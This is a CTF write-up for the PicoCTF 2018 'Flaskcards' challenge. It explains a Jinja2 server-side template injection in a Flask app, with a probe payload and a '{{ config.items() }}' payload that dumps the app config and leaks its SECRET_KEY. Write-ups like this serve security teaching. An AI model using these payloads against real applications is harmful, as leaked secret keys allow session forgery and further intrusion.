Contact CTF writeups Notes

[PicoCTF 2018] - web -Flaskcards

This is one of my writeups for PicoCTF 2018

Problem

We found this fishy website for flashcards that we think may be sending secrets. Could you take a look?

hints:

  1. Are there any common vulnerabilities with the backend of the website?
  2. Is there anywhere that filtering doesn't get applied?
  3. The database gets reverted every 2 hours so your session might end unexpectedly. Just make another user

Solution

The vulnerability

I love the Flask framework, so I instantly knew what this was going to be about when I saw the application's name. By chance, I also had just completed a pentesterlab exercise that teaches the vulnerability showcased here, so I had the idea to try and exploit it immediately.

The vulnerability in question in an SSTI (Server Side Template Injection) in the jinja2 template engine (used by default by Flask)

After creating an account, we can check for this vulnerability by setting fields (here the flash card's question and answer) to {{1+1}} : if the app is vulnerable, the expression between the double curly braces will be interpreted by the template engine and the value 2 will be displayed.

The exploit

The template has access to a namespace : the context. One of the variables that Flask pushes to that context is the aplication config. At the very least, that will contain the SECRET_KEY used to sign cookie and some extensions. You can also expect other goodies like the database credentials.

So let's try retrieving the config by creating a question with an answer value of {{ config.items() }}

We use the items() method because config is a python dictionary : that method will return a pair (key, value) for each key in the dictionary.

We get the following content in our rendered answer :

dict_items([
  ('SQLALCHEMY_RECORD_QUERIES', None),
  ('JSONIFY_MIMETYPE', 'application/json'),
  ('SQLALCHEMY_ECHO', False),
  ('SESSION_COOKIE_NAME', 'session'),
  ('SERVER_NAME', None),
  ('PERMANENT_SESSION_LIFETIME', datetime.timedelta(31)),
  ('BOOTSTRAP_CDN_FORCE_SSL', False),
  ('SECRET_KEY', 'picoCTF{secret_keys_to_the_kingdom_584f8327}'),
  ('SEND_FILE_MAX_AGE_DEFAULT', datetime.timedelta(0, 43200)),
  ('APPLICATION_ROOT', '/'),
  ('SQLALCHEMY_POOL_TIMEOUT', None),
  ('SESSION_COOKIE_SECURE', False),
  ('BOOTSTRAP_QUERYSTRING_REVVING', True),
  ('JSON_AS_ASCII', True),
  ('SESSION_COOKIE_DOMAIN', False),
  ('SQLALCHEMY_TRACK_MODIFICATIONS', False),
  ('SQLALCHEMY_NATIVE_UNICODE', None),
  ('PROPAGATE_EXCEPTIONS', None),
  ('SESSION_COOKIE_SAMESITE', None),
  ('USE_X_SENDFILE', False),
  ('SQLALCHEMY_POOL_SIZE', None),
  ('SESSION_REFRESH_EACH_REQUEST', True),
  ('JSONIFY_PRETTYPRINT_REGULAR', False),
  ('TRAP_BAD_REQUEST_ERRORS', None),
  ('SQLALCHEMY_COMMIT_ON_TEARDOWN', False),
  ('SQLALCHEMY_POOL_RECYCLE', None),
  ('BOOTSTRAP_SERVE_LOCAL', False),
  ('TEMPLATES_AUTO_RELOAD', None),
  ('DEBUG', False),
  ('MAX_COOKIE_SIZE', 4093),
  ('SESSION_COOKIE_PATH', None),
  ('PRESERVE_CONTEXT_ON_EXCEPTION', None),
  ('SESSION_COOKIE_HTTPONLY', True),
  ('MAX_CONTENT_LENGTH', None),
  ('BOOTSTRAP_USE_MINIFIED', True),
  ('SQLALCHEMY_MAX_OVERFLOW', None),
  ('JSON_SORT_KEYS', True),
  ('TRAP_HTTP_EXCEPTIONS', False),
  ('EXPLAIN_TEMPLATE_LOADING', False),
  ('SQLALCHEMY_DATABASE_URI', 'sqlite://'),
  ('BOOTSTRAP_LOCAL_SUBDOMAIN', None),
  ('TESTING', False),
  ('SQLALCHEMY_BINDS', None),
  ('ENV', 'production'),
  ('PREFERRED_URL_SCHEME', 'http')]) 

The flag is the SECRET_KEY value : picoCTF{secret_keys_to_the_kingdom_584f8327}